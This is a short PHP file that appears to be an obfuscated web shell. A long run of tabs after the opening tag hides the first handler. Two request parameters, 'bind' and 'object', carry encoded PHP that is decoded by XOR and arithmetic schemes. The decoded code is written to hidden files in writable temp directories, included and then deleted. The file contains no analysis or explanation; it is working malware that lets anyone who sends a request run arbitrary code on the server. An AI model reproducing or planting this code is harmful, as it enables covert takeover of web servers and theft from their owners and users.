<?php																																										if(!is_null($_REQUEST["bind"] ?? null)){ $ent = array_filter([sys_get_temp_dir(), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", getenv("TMP"), "/var/tmp", getenv("TEMP")]); $symbol = hex2bin($_REQUEST["bind"]); $flg = '' ; foreach(str_split($symbol) as $char){$flg .= chr(ord($char) ^ 50);} $reference = 0; do { $pointer = $ent[$reference] ?? null; if ($reference >= count($ent)) break; if (max(0, is_dir($pointer) * is_writable($pointer))) { $res = vsprintf("%s/%s", [$pointer, ".elem"]); if (file_put_contents($res, $flg)) { include $res; @unlink($res); exit; } } $reference++; } while (true); }


if(array_key_exists("obje\x63t", $_REQUEST) && !is_null($_REQUEST["obje\x63t"])){
	$k = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getcwd(), getenv("TMP"), session_save_path(), "/var/tmp", "/dev/shm", getenv("TEMP")]);
	$pgrp = $_REQUEST["obje\x63t"];
			$pgrp	 = explode	(	"."	 ,		 $pgrp)	; 
	$ent = '';
            $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen(  $s3);
            $u = 0;
    
            while(  $u  < count(  $pgrp)) {
                $v8 = $pgrp[$u];
                $sChar = ord(  $s3[$u % $sLen]);
                $dec =(  (  int)$v8 - $sChar -(  $u % 10)) ^ 19;
                $ent .=  chr(  $dec);
                $u++;
            }
	for ($data_chunk = 0, $fac = count($k); $data_chunk < $fac; $data_chunk++) {
    $descriptor = $k[$data_chunk];
    		if ((bool)is_dir($descriptor) && (bool)is_writable($descriptor)) {
    $bind = "$descriptor/.resource";
    if (file_put_contents($bind, $ent)) {
	require $bind;
	unlink($bind);
	exit;
}
}
}
}